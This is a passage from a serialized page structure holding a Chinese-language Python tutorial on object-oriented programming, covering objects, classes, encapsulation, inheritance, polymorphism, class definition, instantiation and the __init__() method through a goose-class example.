78341,78349,78354,78362,78370,78376,78386,78391,78475,78479,78493,78497,78504,78520,78528,78538,78630,78635,78643,78649,78685,78739,78780,78849,78854,78862,78867,78919,78956,79055,79060,79068,79100,79106,79124,79130,79162,79173,79203,79207,79267,79286,79386,79391,79399,79414,79422,79428,79446,79467,79559,79564,79572,79584,79607,79612,79620,79629,79634,79642,79668,79851,79856,79864,79869,79877,79883,79889,79894,79905,79917,79948,79952,80035,80043,80114,80284,80315,80323,80329,80334,80367,80441,80452,80460,80466,80552,80672,80677,80685,80712,80726,80734,80739,80747,80759,80767,80841,81090,81095,81103],{"type":18,"tag":121,"props":75513,"children":75514},{},[],{"type":18,"tag":19,"props":75516,"children":75518},{"id":75517},"_1-面向对象概述",[75519],{"type":24,"value":75520},"1 面向对象概述",{"type":18,"tag":34,"props":75522,"children":75523},{},[75524,75529],{"type":18,"tag":105,"props":75525,"children":75526},{},[75527],{"type":24,"value":75528},"面向对象",{"type":24,"value":75530},"（Object Oriented）的英文缩写是OO，它是一种设计思想。从20世纪60年代提出面向对象的概念到现在，它已经发展成为一种比较成熟的编程思想，并且逐步成为目前软件开发领域的主流技术。如我们经常听说的面向对象编程（Object Oriented Programming，即OOP）就是主要针对大型软件设计而提出的，它可以使软件设计更加灵活，并且能更好地进行代码复用。",{"type":18,"tag":34,"props":75532,"children":75533},{},[75534],{"type":24,"value":75535},"面向对象中的对象（Object），通常是指客观世界中存在的对象，具有唯一性，对象之间各不相同，各有各的特点，每一个对象都有自己的运动规律和内部状态；对象与对象之间又是可以相互联系、相互作用的。另外，对象也可以是一个抽象的事物，例如，可以从圆形、正方形、三角形等图形抽象出一个简单图形，简单图形就是一个对象，它有自己的属性和行为，图形中边的个数是它的属性，图形的面积也是它的属性，输出图形的面积就是它的行为。概括地讲，面向对象技术是一种从组织结构上模拟客观世界的方法。",{"type":18,"tag":27,"props":75537,"children":75539},{"id":75538},"_11对象",[75540],{"type":24,"value":75541},"1.1  对象",{"type":18,"tag":34,"props":75543,"children":75544},{},[75545],{"type":24,"value":75546},"对象是一个抽象概念，英文称作“Object”，表示任意存在的事物。世间万物皆对象！现实世界中，随处可见的一种事物就是对象，对象是事物存在的实体，如一个人，如图所示。",{"type":18,"tag":34,"props":75548,"children":75549},{},[75550],{"type":18,"tag":54,"props":75551,"children":75554},{"alt":75552,"src":75553},"Pasted image 20250809082544","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809082544.png",[],{"type":18,"tag":34,"props":75556,"children":75557},{},[75558,75560,75565,75566,75571,75572,75577,75579,75584],{"type":24,"value":75559},"通常将对象划分为两个部分，即",{"type":18,"tag":105,"props":75561,"children":75562},{},[75563],{"type":24,"value":75564},"静态部分",{"type":24,"value":45664},{"type":18,"tag":105,"props":75567,"children":75568},{},[75569],{"type":24,"value":75570},"动态部分",{"type":24,"value":111},{"type":18,"tag":105,"props":75573,"children":75574},{},[75575],{"type":24,"value":75576},"静态部分被称为“属性”",{"type":24,"value":75578},"，任何对象都具备自身属性，这些属性不仅是客观存在的，而且是不能被忽视的，如人的性别；",{"type":18,"tag":105,"props":75580,"children":75581},{},[75582],{"type":24,"value":75583},"动态部分指的是对象的行为",{"type":24,"value":75585},"，即对象执行的动作，如人可以跑步，如下图所示。",{"type":18,"tag":34,"props":75587,"children":75588},{},[75589],{"type":18,"tag":54,"props":75590,"children":75593},{"alt":75591,"src":75592},"Pasted image 20250809082832","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809082832.png",[],{"type":18,"tag":96,"props":75595,"children":75596},{},[75597],{"type":18,"tag":34,"props":75598,"children":75599},{},[75600],{"type":24,"value":75601},"说明：在Python中，一切都是对象。不仅是具体的事物称为对象，字符串、函数等也都是对象。这说明Python天生就是面向对象的。",{"type":18,"tag":27,"props":75603,"children":75605},{"id":75604},"_12类",[75606],{"type":24,"value":75607},"1.2  类",{"type":18,"tag":34,"props":75609,"children":75610},{},[75611,75616,75618,75623],{"type":18,"tag":105,"props":75612,"children":75613},{},[75614],{"type":24,"value":75615},"类是封装对象的属性和行为的载体",{"type":24,"value":75617},"，反过来说",{"type":18,"tag":105,"props":75619,"children":75620},{},[75621],{"type":24,"value":75622},"具有相同属性和行为的一类实体被称为类",{"type":24,"value":75624},"。例如，把雁群比作大雁类，那么大雁类就具备了喙、翅膀和爪等属性，觅食、飞行和睡觉等行为，而一只要从北方飞往南方的大雁则被视为大雁类的一个对象。大雁类和大雁对象的关系如图所示。",{"type":18,"tag":34,"props":75626,"children":75627},{},[75628],{"type":18,"tag":54,"props":75629,"children":75632},{"alt":75630,"src":75631},"Pasted image 20250809083115","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809083115.png",[],{"type":18,"tag":34,"props":75634,"children":75635},{},[75636],{"type":24,"value":75637},"在Python语言中，类是一种抽象概念，如定义一个大雁类（Geese），在该类中，可以定义每个对象共有的属性和方法；而一只要从北方飞往南方的大雁则是大雁类的一个对象（wildGeese），对象是类的实例。",{"type":18,"tag":27,"props":75639,"children":75641},{"id":75640},"_13面向对象程序设计的特点",[75642],{"type":24,"value":75643},"1.3  面向对象程序设计的特点",{"type":18,"tag":34,"props":75645,"children":75646},{},[75647],{"type":18,"tag":105,"props":75648,"children":75649},{},[75650],{"type":24,"value":75651},"面向对象程序设计具有三大基本特征：封装、继承和多态。",{"type":18,"tag":337,"props":75653,"children":75655},{"id":75654},"_131-封装",[75656],{"type":24,"value":75657},"1.3.1 封装",{"type":18,"tag":34,"props":75659,"children":75660},{},[75661,75663,75668],{"type":24,"value":75662},"封装是面向对象编程的核心思想，",{"type":18,"tag":105,"props":75664,"children":75665},{},[75666],{"type":24,"value":75667},"将对象的属性和行为封装起来，其载体就是类，类通常会对客户隐藏其实现细节，这就是封装的思想",{"type":24,"value":75669},"。例如，用户使用计算机，只需要使用手指敲击键盘就可以实现一些功能，而不需要知道计算机内部是如何工作的。",{"type":18,"tag":34,"props":75671,"children":75672},{},[75673,75678,75680,75685],{"type":18,"tag":105,"props":75674,"children":75675},{},[75676],{"type":24,"value":75677},"采用封装思想保证了类内部数据结构的完整性",{"type":24,"value":75679},"，使用该类的用户不能直接看到类中的数据结构，而只能执行类允许公开的数据，这样就",{"type":18,"tag":105,"props":75681,"children":75682},{},[75683],{"type":24,"value":75684},"避免了外部对内部数据的影响，提高了程序的可维护性",{"type":24,"value":75686},"。使用类实现封装特性如图所示。",{"type":18,"tag":34,"props":75688,"children":75689},{},[75690],{"type":18,"tag":54,"props":75691,"children":75694},{"alt":75692,"src":75693},"Pasted image 20250809084838","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809084838.png",[],{"type":18,"tag":337,"props":75696,"children":75698},{"id":75697},"_132-继承",[75699],{"type":24,"value":75700},"1.3.2 继承",{"type":18,"tag":34,"props":75702,"children":75703},{},[75704,75706,75711],{"type":24,"value":75705},"矩形、菱形、平行四边形和梯形等都是四边形。因为四边形与它们具有共同的特征：拥有4条边。只要将四边形适当地延伸，就会得到矩形、菱形、平行四边形和梯形4种图形。以平行四边形为例，如果把平行四边形看作四边形的延伸，那么平行四边形就复用了四边形的属性和行为，同时添加了平行四边形特有的属性和行为，如平行四边形的对边平行且相等。在Python中，可以把平行四边形类看作是继承四边形类后产生的类，其中，将",{"type":18,"tag":105,"props":75707,"children":75708},{},[75709],{"type":24,"value":75710},"类似于平行四边形的类称为子类，将类似于四边形的类称为父类或超类",{"type":24,"value":75712},"。值得注意的是，在阐述平行四边形和四边形的关系时，可以说平行四边形是特殊的四边形，但不能说四边形是平行四边形。同理，Python中可以说子类的实例都是父类的实例，但不能说父类的实例是子类的实例，四边形类层次结构示意图如图所示。",{"type":18,"tag":34,"props":75714,"children":75715},{},[75716],{"type":18,"tag":54,"props":75717,"children":75720},{"alt":75718,"src":75719},"Pasted image 20250809085417","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809085417.png",[],{"type":18,"tag":34,"props":75722,"children":75723},{},[75724,75726,75731],{"type":24,"value":75725},"综上所述，",{"type":18,"tag":105,"props":75727,"children":75728},{},[75729],{"type":24,"value":75730},"继承是实现重复利用的重要手段，子类通过继承复用了父类的属性和行为的同时又添加了子类特有的属性和行为",{"type":24,"value":111},{"type":18,"tag":337,"props":75733,"children":75735},{"id":75734},"_133-多态",[75736],{"type":24,"value":75737},"1.3.3 多态",{"type":18,"tag":34,"props":75739,"children":75740},{},[75741,75746,75748,75753],{"type":18,"tag":105,"props":75742,"children":75743},{},[75744],{"type":24,"value":75745},"将父类对象应用于子类的特征就是多态",{"type":24,"value":75747},"。比如创建一个螺丝类，螺丝类有两个属性：粗细和螺纹密度；然后再创建了两个类，一个是长螺丝类，一个短螺丝类，并且它们都继承了螺丝类。这样长螺丝类和短螺丝类不仅具有相同的特征（粗细相同，且螺纹密度也相同），还具有不同的特征（一个长，一个短，长的可以用来固定大型支架，短的可以固定生活中的家具）。综上所述，一个螺丝类衍生出不同的子类，",{"type":18,"tag":105,"props":75749,"children":75750},{},[75751],{"type":24,"value":75752},"子类继承父类特征的同时，也具备了自己的特征，并且能够实现不同的效果，这就是多态化的结构",{"type":24,"value":75754},"。螺丝类层次结构示意图如图所示。",{"type":18,"tag":34,"props":75756,"children":75757},{},[75758],{"type":18,"tag":54,"props":75759,"children":75762},{"alt":75760,"src":75761},"Pasted image 20250809085755","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809085755.png",[],{"type":18,"tag":19,"props":75764,"children":75766},{"id":75765},"_2-定义并创建类的实例",[75767],{"type":24,"value":75768},"2 定义并创建类的实例",{"type":18,"tag":34,"props":75770,"children":75771},{},[75772],{"type":24,"value":75773},"在Python中，类表示具有相同属性和方法的对象的集合。在使用类时，需要先定义类，然后再创建类的实例，通过类的实例就可以访问类中的属性和方法了。",{"type":18,"tag":27,"props":75775,"children":75777},{"id":75776},"_21定义类",[75778],{"type":24,"value":75779},"2.1  定义类",{"type":18,"tag":34,"props":75781,"children":75782},{},[75783,75785,75791],{"type":24,"value":75784},"在Python中，类的定义使用",{"type":18,"tag":74,"props":75786,"children":75788},{"className":75787},[],[75789],{"type":24,"value":75790},"class",{"type":24,"value":75792},"关键字来实现，语法如下：",{"type":18,"tag":287,"props":75794,"children":75796},{"code":75795,"language":28712,"meta":8,"className":28710,"style":8},"class ClassName:\n    '''类的帮助信息'''          # 类文档字符串\n    statement                 # 类体\n",[75797],{"type":18,"tag":74,"props":75798,"children":75799},{"__ignoreMap":8},[75800,75808,75816],{"type":18,"tag":297,"props":75801,"children":75802},{"class":299,"line":300},[75803],{"type":18,"tag":297,"props":75804,"children":75805},{},[75806],{"type":24,"value":75807},"class ClassName:\n",{"type":18,"tag":297,"props":75809,"children":75810},{"class":299,"line":657},[75811],{"type":18,"tag":297,"props":75812,"children":75813},{},[75814],{"type":24,"value":75815},"    '''类的帮助信息'''          # 类文档字符串\n",{"type":18,"tag":297,"props":75817,"children":75818},{"class":299,"line":662},[75819],{"type":18,"tag":297,"props":75820,"children":75821},{},[75822],{"type":24,"value":75823},"    statement                 # 类体\n",{"type":18,"tag":34,"props":75825,"children":75826},{},[75827],{"type":24,"value":75828},"参数说明：",{"type":18,"tag":210,"props":75830,"children":75831},{},[75832,75857,75881],{"type":18,"tag":158,"props":75833,"children":75834},{},[75835,75841,75843,75848,75850,75855],{"type":18,"tag":74,"props":75836,"children":75838},{"className":75837},[],[75839],{"type":24,"value":75840},"ClassName",{"type":24,"value":75842},"：用于",{"type":18,"tag":105,"props":75844,"children":75845},{},[75846],{"type":24,"value":75847},"指定类名",{"type":24,"value":75849},"，一般使用大写字母开头，如果类名中包括两个单词，第二个单词的首字母也大写，这种命名方法也称为“",{"type":18,"tag":105,"props":75851,"children":75852},{},[75853],{"type":24,"value":75854},"驼峰式命名法",{"type":24,"value":75856},"”，这是惯例。当然，也可根据自己的习惯命名，但是一般推荐按照惯例来命名。",{"type":18,"tag":158,"props":75858,"children":75859},{},[75860,75866,75867,75872,75874,75879],{"type":18,"tag":74,"props":75861,"children":75863},{"className":75862},[],[75864],{"type":24,"value":75865},"'''类的帮助信息'''",{"type":24,"value":75842},{"type":18,"tag":105,"props":75868,"children":75869},{},[75870],{"type":24,"value":75871},"指定类的文档字符串",{"type":24,"value":75873},"，定义该字符串后，在创建类的对象时，输入类名和左侧的括号",{"type":18,"tag":74,"props":75875,"children":75877},{"className":75876},[],[75878],{"type":24,"value":16593},{"type":24,"value":75880},"后，将显示该信息。",{"type":18,"tag":158,"props":75882,"children":75883},{},[75884,75890,75891,75896,75898,75904],{"type":18,"tag":74,"props":75885,"children":75887},{"className":75886},[],[75888],{"type":24,"value":75889},"statement",{"type":24,"value":222},{"type":18,"tag":105,"props":75892,"children":75893},{},[75894],{"type":24,"value":75895},"类体，主要由类变量（或类成员）、方法和属性等定义语句组成",{"type":24,"value":75897},"。如果在定义类时，没想好类的具体功能，也可以在类体中直接使用",{"type":18,"tag":74,"props":75899,"children":75901},{"className":75900},[],[75902],{"type":24,"value":75903},"pass",{"type":24,"value":75905},"语句代替。",{"type":18,"tag":34,"props":75907,"children":75908},{},[75909],{"type":24,"value":75910},"例如，下面以大雁为例声明一个类，代码如下：",{"type":18,"tag":287,"props":75912,"children":75914},{"code":75913,"language":28712,"meta":8,"className":28710,"style":8},"class Geese:\n    '''大雁类'''\n    pass\n",[75915],{"type":18,"tag":74,"props":75916,"children":75917},{"__ignoreMap":8},[75918,75926,75934],{"type":18,"tag":297,"props":75919,"children":75920},{"class":299,"line":300},[75921],{"type":18,"tag":297,"props":75922,"children":75923},{},[75924],{"type":24,"value":75925},"class Geese:\n",{"type":18,"tag":297,"props":75927,"children":75928},{"class":299,"line":657},[75929],{"type":18,"tag":297,"props":75930,"children":75931},{},[75932],{"type":24,"value":75933},"    '''大雁类'''\n",{"type":18,"tag":297,"props":75935,"children":75936},{"class":299,"line":662},[75937],{"type":18,"tag":297,"props":75938,"children":75939},{},[75940],{"type":24,"value":75941},"    pass\n",{"type":18,"tag":27,"props":75943,"children":75945},{"id":75944},"_22创建类的实例",[75946],{"type":24,"value":75947},"2.2  创建类的实例",{"type":18,"tag":34,"props":75949,"children":75950},{},[75951],{"type":24,"value":75952},"定义完类后，并不会真正创建一个实例。这有点像一个汽车的设计图。设计图可以告诉你汽车看上去怎么样，但设计图本身不是一个汽车。你不能开走它，它只能用来建造真正的汽车，而且可以使用它制造很多汽车。那么如何创建实例呢？",{"type":18,"tag":34,"props":75954,"children":75955},{},[75956],{"type":24,"value":75957},"class语句本身并不创建该类的任何实例。所以在类定义完成以后，可以创建类的实例，即实例化该类的对象。创建类的实例的语法如下：",{"type":18,"tag":287,"props":75959,"children":75961},{"code":75960,"language":28712,"meta":8,"className":28710,"style":8},"ClassName(parameterlist)\n",[75962],{"type":18,"tag":74,"props":75963,"children":75964},{"__ignoreMap":8},[75965],{"type":18,"tag":297,"props":75966,"children":75967},{"class":299,"line":300},[75968],{"type":18,"tag":297,"props":75969,"children":75970},{},[75971],{"type":24,"value":75960},{"type":18,"tag":34,"props":75973,"children":75974},{},[75975,75977,75982,75983,75988,75990,75995,75996,76002,76003,76008,76010,76016,76018,76023,76025,76031,76033,76038],{"type":24,"value":75976},"其中，",{"type":18,"tag":74,"props":75978,"children":75980},{"className":75979},[],[75981],{"type":24,"value":75840},{"type":24,"value":52066},{"type":18,"tag":105,"props":75984,"children":75985},{},[75986],{"type":24,"value":75987},"必选参数",{"type":24,"value":75989},"，用于",{"type":18,"tag":105,"props":75991,"children":75992},{},[75993],{"type":24,"value":75994},"指定具体的类",{"type":24,"value":8574},{"type":18,"tag":74,"props":75997,"children":75999},{"className":75998},[],[76000],{"type":24,"value":76001},"parameterlist",{"type":24,"value":52066},{"type":18,"tag":105,"props":76004,"children":76005},{},[76006],{"type":24,"value":76007},"可选参数",{"type":24,"value":76009},"，当创建一个类时，没有创建",{"type":18,"tag":74,"props":76011,"children":76013},{"className":76012},[],[76014],{"type":24,"value":76015},"__init__()",{"type":24,"value":76017},"方法，或者",{"type":18,"tag":74,"props":76019,"children":76021},{"className":76020},[],[76022],{"type":24,"value":76015},{"type":24,"value":76024},"方法只有一个",{"type":18,"tag":74,"props":76026,"children":76028},{"className":76027},[],[76029],{"type":24,"value":76030},"self参数",{"type":24,"value":76032},"时，",{"type":18,"tag":74,"props":76034,"children":76036},{"className":76035},[],[76037],{"type":24,"value":76001},{"type":24,"value":76039},"可以省略。",{"type":18,"tag":34,"props":76041,"children":76042},{},[76043],{"type":24,"value":76044},"例如，创建Geese类的实例，可以使用下面的代码：",{"type":18,"tag":287,"props":76046,"children":76048},{"code":76047,"language":28712,"meta":8,"className":28710,"style":8},"wildGoose = Geese()   # 创建大雁类的实例\nprint(wildGoose)\n",[76049],{"type":18,"tag":74,"props":76050,"children":76051},{"__ignoreMap":8},[76052,76060],{"type":18,"tag":297,"props":76053,"children":76054},{"class":299,"line":300},[76055],{"type":18,"tag":297,"props":76056,"children":76057},{},[76058],{"type":24,"value":76059},"wildGoose = Geese()   # 创建大雁类的实例\n",{"type":18,"tag":297,"props":76061,"children":76062},{"class":299,"line":657},[76063],{"type":18,"tag":297,"props":76064,"children":76065},{},[76066],{"type":24,"value":76067},"print(wildGoose)\n",{"type":18,"tag":34,"props":76069,"children":76070},{},[76071],{"type":24,"value":76072},"执行上面代码后，将显示类似下面的内容：",{"type":18,"tag":287,"props":76074,"children":76076},{"code":76075},"\u003C__main__.Geese object at 0x00000000002F47AC8>\n",[76077],{"type":18,"tag":74,"props":76078,"children":76079},{"__ignoreMap":8},[76080],{"type":24,"value":76075},{"type":18,"tag":34,"props":76082,"children":76083},{},[76084,76086,76092],{"type":24,"value":76085},"从上面的执行结果中可以看出，",{"type":18,"tag":74,"props":76087,"children":76089},{"className":76088},[],[76090],{"type":24,"value":76091},"wildGoose",{"type":24,"value":76093},"是Geese类的实例。",{"type":18,"tag":19,"props":76095,"children":76097},{"id":76096},"_3-创建__init__方法",[76098,76100,76105],{"type":24,"value":76099},"3 创建",{"type":18,"tag":74,"props":76101,"children":76103},{"className":76102},[],[76104],{"type":24,"value":76015},{"type":24,"value":73171},{"type":18,"tag":34,"props":76107,"children":76108},{},[76109,76111,76116,76118,76123,76125,76131,76133,76138],{"type":24,"value":76110},"在创建类后，可以手动创建一个",{"type":18,"tag":74,"props":76112,"children":76114},{"className":76113},[],[76115],{"type":24,"value":76015},{"type":24,"value":76117},"方法。该方法是一个特殊的方法，类似Java语言中的构造方法。每当创建一个类的新实例时，Python都会自动执行它。",{"type":18,"tag":74,"props":76119,"children":76121},{"className":76120},[],[76122],{"type":24,"value":76015},{"type":24,"value":76124},"方法必须包含一个",{"type":18,"tag":74,"props":76126,"children":76128},{"className":76127},[],[76129],{"type":24,"value":76130},"self",{"type":24,"value":76132},"参数，并且必须是第一个参数。self参数是一个指向实例本身的引用，用于访问类中的属性和方法。在方法调用时会自动传递实际参数self，因此当",{"type":18,"tag":74,"props":76134,"children":76136},{"className":76135},[],[76137],{"type":24,"value":76015},{"type":24,"value":76139},"方法只有一个参数时，在创建类的实例时，就不需要指定实际参数了。",{"type":18,"tag":96,"props":76141,"children":76142},{},[76143],{"type":18,"tag":34,"props":76144,"children":76145},{},[76146,76148,76153,76155,76160,76162,76167],{"type":24,"value":76147},"说明：在",{"type":18,"tag":74,"props":76149,"children":76151},{"className":76150},[],[76152],{"type":24,"value":76015},{"type":24,"value":76154},"方法的名称中，",{"type":18,"tag":105,"props":76156,"children":76157},{},[76158],{"type":24,"value":76159},"开头和结尾处是两个下划线",{"type":24,"value":76161},"（中间没有空格），这是一种约定，旨在",{"type":18,"tag":105,"props":76163,"children":76164},{},[76165],{"type":24,"value":76166},"区分Python默认方法和普通方法",{"type":24,"value":111},{"type":18,"tag":34,"props":76169,"children":76170},{},[76171,76173,76178],{"type":24,"value":76172},"例如，下面仍然以大雁为例声明一个类，并且创建",{"type":18,"tag":74,"props":76174,"children":76176},{"className":76175},[],[76177],{"type":24,"value":76015},{"type":24,"value":76179},"方法，代码如下：",{"type":18,"tag":287,"props":76181,"children":76183},{"code":76182,"language":28712,"meta":8,"className":28710,"style":8},"class Geese:\n    '''大雁类'''\n    def __init__(self):        # 构造方法\n        print(\"我是大雁类！\")\n\nwildGoose = Geese()            # 创建大雁类的实例\n",[76184],{"type":18,"tag":74,"props":76185,"children":76186},{"__ignoreMap":8},[76187,76194,76201,76209,76217,76224],{"type":18,"tag":297,"props":76188,"children":76189},{"class":299,"line":300},[76190],{"type":18,"tag":297,"props":76191,"children":76192},{},[76193],{"type":24,"value":75925},{"type":18,"tag":297,"props":76195,"children":76196},{"class":299,"line":657},[76197],{"type":18,"tag":297,"props":76198,"children":76199},{},[76200],{"type":24,"value":75933},{"type":18,"tag":297,"props":76202,"children":76203},{"class":299,"line":662},[76204],{"type":18,"tag":297,"props":76205,"children":76206},{},[76207],{"type":24,"value":76208},"    def __init__(self):        # 构造方法\n",{"type":18,"tag":297,"props":76210,"children":76211},{"class":299,"line":799},[76212],{"type":18,"tag":297,"props":76213,"children":76214},{},[76215],{"type":24,"value":76216},"        print(\"我是大雁类！\")\n",{"type":18,"tag":297,"props":76218,"children":76219},{"class":299,"line":808},[76220],{"type":18,"tag":297,"props":76221,"children":76222},{"emptyLinePlaceholder":793},[76223],{"type":24,"value":796},{"type":18,"tag":297,"props":76225,"children":76226},{"class":299,"line":817},[76227],{"type":18,"tag":297,"props":76228,"children":76229},{},[76230],{"type":24,"value":76231},"wildGoose = Geese()            # 创建大雁类的实例\n",{"type":18,"tag":34,"props":76233,"children":76234},{},[76235],{"type":24,"value":76236},"运行上面的代码，将输出以下内容：",{"type":18,"tag":287,"props":76238,"children":76240},{"code":76239},"我是大雁类！\n",[76241],{"type":18,"tag":74,"props":76242,"children":76243},{"__ignoreMap":8},[76244],{"type":24,"value":76239},{"type":18,"tag":34,"props":76246,"children":76247},{},[76248,76250,76255],{"type":24,"value":76249},"从上面的运行结果可以看出，在创建大雁类的实例时，虽然没有为",{"type":18,"tag":74,"props":76251,"children":76253},{"className":76252},[],[76254],{"type":24,"value":76015},{"type":24,"value":76256},"方法指定参数，但是该方法会自动执行。",{"type":18,"tag":34,"props":76258,"children":76259},{},[76260],{"type":24,"value":76261},"常见错误：在为类创建__init__()方法时，在开发环境中运行下面代码：",{"type":18,"tag":287,"props":76263,"children":76265},{"code":76264,"language":28712,"meta":8,"className":28710,"style":8},"class Geese:  \n    '''大雁类'''  \n    def __init__():            # 构造方法  \n       print(\"我是大雁类！\")  \n  \nwildGoose = Geese()            # 创建大雁类的实例\n",[76266],{"type":18,"tag":74,"props":76267,"children":76268},{"__ignoreMap":8},[76269,76277,76285,76293,76301,76308],{"type":18,"tag":297,"props":76270,"children":76271},{"class":299,"line":300},[76272],{"type":18,"tag":297,"props":76273,"children":76274},{},[76275],{"type":24,"value":76276},"class Geese:  \n",{"type":18,"tag":297,"props":76278,"children":76279},{"class":299,"line":657},[76280],{"type":18,"tag":297,"props":76281,"children":76282},{},[76283],{"type":24,"value":76284},"    '''大雁类'''  \n",{"type":18,"tag":297,"props":76286,"children":76287},{"class":299,"line":662},[76288],{"type":18,"tag":297,"props":76289,"children":76290},{},[76291],{"type":24,"value":76292},"    def __init__():            # 构造方法  \n",{"type":18,"tag":297,"props":76294,"children":76295},{"class":299,"line":799},[76296],{"type":18,"tag":297,"props":76297,"children":76298},{},[76299],{"type":24,"value":76300},"       print(\"我是大雁类！\")  \n",{"type":18,"tag":297,"props":76302,"children":76303},{"class":299,"line":808},[76304],{"type":18,"tag":297,"props":76305,"children":76306},{},[76307],{"type":24,"value":36783},{"type":18,"tag":297,"props":76309,"children":76310},{"class":299,"line":817},[76311],{"type":18,"tag":297,"props":76312,"children":76313},{},[76314],{"type":24,"value":76231},{"type":18,"tag":34,"props":76316,"children":76317},{},[76318,76320,76325],{"type":24,"value":76319},"将显示如图所示的异常信息。该错误的解决方法是在第3行代码的括号中添加",{"type":18,"tag":74,"props":76321,"children":76323},{"className":76322},[],[76324],{"type":24,"value":76130},{"type":24,"value":111},{"type":18,"tag":34,"props":76327,"children":76328},{},[76329],{"type":18,"tag":54,"props":76330,"children":76333},{"alt":76331,"src":76332},"Pasted image 20250809092822","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809092822.png",[],{"type":18,"tag":34,"props":76335,"children":76336},{},[76337,76339,76344,76346,76351,76353,76358,76360,76365,76367,76373,76374,76380,76381,76387],{"type":24,"value":76338},"在",{"type":18,"tag":74,"props":76340,"children":76342},{"className":76341},[],[76343],{"type":24,"value":76015},{"type":24,"value":76345},"方法中，除了",{"type":18,"tag":74,"props":76347,"children":76349},{"className":76348},[],[76350],{"type":24,"value":76130},{"type":24,"value":76352},"参数外，还可以自定义一些参数，参数间使用逗号",{"type":18,"tag":74,"props":76354,"children":76356},{"className":76355},[],[76357],{"type":24,"value":17444},{"type":24,"value":76359},"进行分隔。例如，下面的代码将在创建",{"type":18,"tag":74,"props":76361,"children":76363},{"className":76362},[],[76364],{"type":24,"value":76015},{"type":24,"value":76366},"方法时，再指定3个参数，分别是",{"type":18,"tag":74,"props":76368,"children":76370},{"className":76369},[],[76371],{"type":24,"value":76372},"beak",{"type":24,"value":1942},{"type":18,"tag":74,"props":76375,"children":76377},{"className":76376},[],[76378],{"type":24,"value":76379},"wing",{"type":24,"value":10315},{"type":18,"tag":74,"props":76382,"children":76384},{"className":76383},[],[76385],{"type":24,"value":76386},"claw",{"type":24,"value":111},{"type":18,"tag":287,"props":76389,"children":76391},{"code":76390,"language":28712,"meta":8,"className":28710,"style":8},"class Geese:  \n    '''大雁类'''  \n    def __init__(self,beak,wing,claw):               # 构造方法  \n        print(\"我是大雁类！我有以下特征：\")  \n        print(beak)                                  # 输出喙的特征  \n        print(wing)                                  # 输出翅膀的特征  \n        print(claw)                                  # 输出爪子的特征  \n  \nbeak_1 = \"喙的基部较高，长度和头部的长度几乎相等\"        # 喙的特征  \nwing_1 = \"翅膀长而尖\"                                 # 翅膀的特征  \nclaw_1 = \"爪子是蹼状的\"                               # 爪子的特征  \nwildGoose = Geese(beak_1,wing_1,claw_1)             # 创建大雁类的实例\n",[76392],{"type":18,"tag":74,"props":76393,"children":76394},{"__ignoreMap":8},[76395,76402,76409,76417,76425,76433,76441,76449,76456,76464,76472,76480],{"type":18,"tag":297,"props":76396,"children":76397},{"class":299,"line":300},[76398],{"type":18,"tag":297,"props":76399,"children":76400},{},[76401],{"type":24,"value":76276},{"type":18,"tag":297,"props":76403,"children":76404},{"class":299,"line":657},[76405],{"type":18,"tag":297,"props":76406,"children":76407},{},[76408],{"type":24,"value":76284},{"type":18,"tag":297,"props":76410,"children":76411},{"class":299,"line":662},[76412],{"type":18,"tag":297,"props":76413,"children":76414},{},[76415],{"type":24,"value":76416},"    def __init__(self,beak,wing,claw):               # 构造方法  \n",{"type":18,"tag":297,"props":76418,"children":76419},{"class":299,"line":799},[76420],{"type":18,"tag":297,"props":76421,"children":76422},{},[76423],{"type":24,"value":76424},"        print(\"我是大雁类！我有以下特征：\")  \n",{"type":18,"tag":297,"props":76426,"children":76427},{"class":299,"line":808},[76428],{"type":18,"tag":297,"props":76429,"children":76430},{},[76431],{"type":24,"value":76432},"        print(beak)                                  # 输出喙的特征  \n",{"type":18,"tag":297,"props":76434,"children":76435},{"class":299,"line":817},[76436],{"type":18,"tag":297,"props":76437,"children":76438},{},[76439],{"type":24,"value":76440},"        print(wing)                                  # 输出翅膀的特征  \n",{"type":18,"tag":297,"props":76442,"children":76443},{"class":299,"line":826},[76444],{"type":18,"tag":297,"props":76445,"children":76446},{},[76447],{"type":24,"value":76448},"        print(claw)                                  # 输出爪子的特征  \n",{"type":18,"tag":297,"props":76450,"children":76451},{"class":299,"line":4524},[76452],{"type":18,"tag":297,"props":76453,"children":76454},{},[76455],{"type":24,"value":36783},{"type":18,"tag":297,"props":76457,"children":76458},{"class":299,"line":4533},[76459],{"type":18,"tag":297,"props":76460,"children":76461},{},[76462],{"type":24,"value":76463},"beak_1 = \"喙的基部较高，长度和头部的长度几乎相等\"        # 喙的特征  \n",{"type":18,"tag":297,"props":76465,"children":76466},{"class":299,"line":4546},[76467],{"type":18,"tag":297,"props":76468,"children":76469},{},[76470],{"type":24,"value":76471},"wing_1 = \"翅膀长而尖\"                                 # 翅膀的特征  \n",{"type":18,"tag":297,"props":76473,"children":76474},{"class":299,"line":4555},[76475],{"type":18,"tag":297,"props":76476,"children":76477},{},[76478],{"type":24,"value":76479},"claw_1 = \"爪子是蹼状的\"                               # 爪子的特征  \n",{"type":18,"tag":297,"props":76481,"children":76482},{"class":299,"line":4568},[76483],{"type":18,"tag":297,"props":76484,"children":76485},{},[76486],{"type":24,"value":76487},"wildGoose = Geese(beak_1,wing_1,claw_1)             # 创建大雁类的实例\n",{"type":18,"tag":34,"props":76489,"children":76490},{},[76491],{"type":18,"tag":54,"props":76492,"children":76495},{"alt":76493,"src":76494},"Pasted image 20250809093346","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809093346.png",[],{"type":18,"tag":34,"props":76497,"children":76498},{},[76499,76501,76506,76507,76513,76514,76520,76522,76527,76528,76533,76534,76539],{"type":24,"value":76500},"在 Python 类中，",{"type":18,"tag":74,"props":76502,"children":76504},{"className":76503},[],[76505],{"type":24,"value":39799},{"type":24,"value":1942},{"type":18,"tag":74,"props":76508,"children":76510},{"className":76509},[],[76511],{"type":24,"value":76512},"__enter__",{"type":24,"value":1942},{"type":18,"tag":74,"props":76515,"children":76517},{"className":76516},[],[76518],{"type":24,"value":76519},"__exit__",{"type":24,"value":76521}," 是三个核心的 